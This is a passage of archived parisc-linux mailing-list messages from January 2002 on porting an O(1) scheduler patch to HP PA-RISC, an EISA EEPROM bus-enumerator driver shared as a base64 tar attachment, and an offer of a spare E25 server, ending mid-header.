> +#if MAX_RT_PRIO != 128 || MAX_PRIO != 168
> +# error update this function.
> +#endif
> +
> +static inline int sched_find_first_zero_bit(unsigned long *b)
> +{
> +       unsigned int rt;
> +
> +       rt = b[0] & b[1] & b[2] & b[3];
> +       if (unlikely(rt != 0xffffffff))
> +               return find_first_zero_bit(b, MAX_RT_PRIO);
> +
> +       if (b[4] != ~0)
> +               return ffz(b[4]) + MAX_RT_PRIO;
> +       return ffz(b[5]) + 32 + MAX_RT_PRIO;
> +}
> +/*

hrm -- actually a little tricky.  Yes, this function for 32-bit compiles,
but not for 64-bit compiles (long changes size, and of course that means
it can be done more quickly on 64-bit quantities instead of 32-bit).

> And what do you about this one (how to implement it on hppa?):
> 
> --- linux/arch/i386/kernel/process.c.orig       Sun Jan  6 13:55:47 2002
> +++ linux/arch/i386/kernel/process.c    Wed Jan 16 00:52:28 2002
> @@ -123,15 +123,12 @@
>  void cpu_idle (void)
>  {
>         /* endless idle loop with no priority at all */
> -       init_idle();
> -       current->nice = 20;
> -       current->counter = -100;

yup, delete these.

>         while (1) {
>                 void (*idle)(void) = pm_idle;
>                 if (!idle)
>                         idle = default_idle;
> -               while (!current->need_resched)
> +               if (!current->need_resched)
>                         idle();
>                 schedule();
>                 check_pgt_cache();

Dunno.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched-O1-2.4.17-I3.patch, need help
Date: Fri, 18 Jan 2002 17:57:51 +0100 (CET)
Lines: 97
Approved: news@gmane.org
Message-ID: <1011373071.3c48540f830f2@webmail.tiscalinet.be>
References: <1011338378.3c47cc8a895dd@webmail.tiscalinet.be> <20020118080634.A7462@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620982 1302 80.91.229.3 (22 Nov 2014 01:49:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 18 09:57:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE059482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jan 2002 09:57:58 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16RcKt-0001Ft-00; Fri, 18 Jan 2002 17:57:51 +0100
In-Reply-To: <20020118080634.A7462@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13786

Matt,

Thanks a lot.

Anyway it is far much more difficult then I innocently believe.
Struct changes ask also changes on other parts as offset.c, traps.c,...
Also I would need much more works and help...

Hmm... about traps.c I always forgot to ask you:
at line 174 it was writen "... cr30 do not correspond..."
would it not be read  "... cr31 ..."?

Thanks again for help,
        Joel

Quoting Matthew Wilcox <willy@debian.org>:

> On Fri, Jan 18, 2002 at 08:19:38AM +0100, joel.soete@freebel.net wrote:
> > +
> > +static __inline__ void __clear_bit(int nr, volatile void * addr)
> > +{
> > +       __asm__ __volatile__(
> > +               "btrl %1,%0"
> > +               :"=m" (ADDR)
> > +               :"Ir" (nr));
> > +}
> 
> __clear_bit is simply a lockless clear_bit.  it's the same difference
> between __set_bit and set_bit.
> 
> >  /*
> > + * Every architecture must define this function. It's the fastest
> > + * way of searching a 168-bit bitmap where the first 128 bits are
> > + * unlikely to be set. It's guaranteed that at least one of the 168
> > + * bits is cleared.
> > + */
> > +#if MAX_RT_PRIO != 128 || MAX_PRIO != 168
> > +# error update this function.
> > +#endif
> > +
> > +static inline int sched_find_first_zero_bit(unsigned long *b)
> > +{
> > +       unsigned int rt;
> > +
> > +       rt = b[0] & b[1] & b[2] & b[3];
> > +       if (unlikely(rt != 0xffffffff))
> > +               return find_first_zero_bit(b, MAX_RT_PRIO);
> > +
> > +       if (b[4] != ~0)
> > +               return ffz(b[4]) + MAX_RT_PRIO;
> > +       return ffz(b[5]) + 32 + MAX_RT_PRIO;
> > +}
> > +/*
> 
> hrm -- actually a little tricky.  Yes, this function for 32-bit
> compiles,
> but not for 64-bit compiles (long changes size, and of course that
> means
> it can be done more quickly on 64-bit quantities instead of 32-bit).
> 
> > And what do you about this one (how to implement it on hppa?):
> > 
> > --- linux/arch/i386/kernel/process.c.orig       Sun Jan  6 13:55:47
> 2002
> > +++ linux/arch/i386/kernel/process.c    Wed Jan 16 00:52:28 2002
> > @@ -123,15 +123,12 @@
> >  void cpu_idle (void)
> >  {
> >         /* endless idle loop with no priority at all */
> > -       init_idle();
> > -       current->nice = 20;
> > -       current->counter = -100;
> 
> yup, delete these.
> 
> >         while (1) {
> >                 void (*idle)(void) = pm_idle;
> >                 if (!idle)
> >                         idle = default_idle;
> > -               while (!current->need_resched)
> > +               if (!current->need_resched)
> >                         idle();
> >                 schedule();
> >                 check_pgt_cache();
> 
> Dunno.
> 
> -- 
> Revolutions do not require corporate support.
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA EEPROM Driver/bus enumrator
Date: Sat, 19 Jan 2002 01:25:36 +0100
Lines: 161
Approved: news@gmane.org
Message-ID: <20020119012536.A21392@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="AWniW0JNca5xppdA"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620983 1306 80.91.229.3 (22 Nov 2014 01:49:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:43 +0000 (UTC)
Cc: jochen@scram.de
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 18 17:26:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mf1.bredband.net (mf1.lab.bredband.com [195.54.122.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00E31482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jan 2002 17:26:54 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se ([213.112.197.114])
          by mf1.bredband.net with ESMTP
          id <20020119002512.JBLS21707.mf1@zaphod.halden.lillfab.se>;
          Sat, 19 Jan 2002 01:25:12 +0100
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id BAA21454;
	Sat, 19 Jan 2002 01:25:37 +0100
X-Mailer: Balsa 1.1.4
Original-Lines: 160
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13787

--AWniW0JNca5xppdA
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

Hi, All

I have managed to figure out most of the EISA part of the EEPROM
in my 715/old.
I have used this information to create a some code the uses the EEPROM
to 'enumrate' the EISA bus.

The enumrator will configure interrupt trig-levels and register io and memory
resources like what is done for PCI devices. I guess it also could
submit a struct parisc_device if it is desirable.

I have changed the default interrupt trig level to edge now so 
ISA boards should not need to be added to the EEPROM
configuration unless the user want to.

The attached tar file contains the following:
 
eisa_enumrator.diff              
include/asm-parisc/eisa_bus.h
include/asm-parisc/eisa_eeprom.h
drivers/gsc/eisa_enumrator.c

The diff file patyches the following files:
drivers/gsc/Makefile
drivers/gsc/eisa.c

(Sorry for the tar file. I didn't have space for another tree to diff against
right now and I do not know if I can make cvs diff work with files that are not
under cvs control, like the new files I created).

Tell me what you think,
/Daniel
-- 

--AWniW0JNca5xppdA
Content-Type: application/x-compressed-tar
Content-Disposition: attachment; filename="eisa_enumrator.tar.gz"
Content-Transfer-Encoding: base64

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
AAAAAAAAAAAAAAAAAAAAvvEBRLV6KAB4AAA=

--AWniW0JNca5xppdA--



From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kim Saunders <kim.saunders@mercuryit.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Anyone want an E25?
Date: 19 Jan 2002 17:24:22 +1100
Lines: 17
Approved: news@gmane.org
Message-ID: <1011421463.7539.8.camel@chronic>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620983 1307 80.91.229.3 (22 Nov 2014 01:49:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 18 23:21:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail013.syd.optusnet.com.au (mail013.syd.optusnet.com.au [203.2.75.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EB79482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jan 2002 23:21:44 -0700 (MST)
Original-Received: from sdcax57-060.dialup.optusnet.com.au (sdcax57-060.dialup.optusnet.com.au [198.142.218.60])
	by mail013.syd.optusnet.com.au (8.11.1/8.11.1) with ESMTP id g0J6LaE26083
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Jan 2002 17:21:37 +1100
X-Mailer: Evolution/0.99.2 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13788

Hi,

I have an E25 server, and my understanding is that this machine is not
supported by parisc-linux. As such, I'm interested in giving it to
anyone who is interested in helping to port parisc-linux to this
machine, or anyone else who has a constructive use for it.

I'm in Sydney, Australia, and it's probably too bulky to ship anywhere.

Thanks,

KimS






From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IBM TR patch
Date: Sat, 19 Jan 2002 13:20:49 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20020119132049.C21392@zaphod.halden.lillfab.se>
References: <20020115231052.A4018@zaphod.halden.lillfab.se> <Pine.LNX.4.43.0201162119070.16072-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620983 1310 80.91.229.3 (22 Nov 2014 01:49:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:43 +0000 (UTC)
Cc: Daniel Engstrom <5116@telia.com>, linux-tr@linuxtr.net,
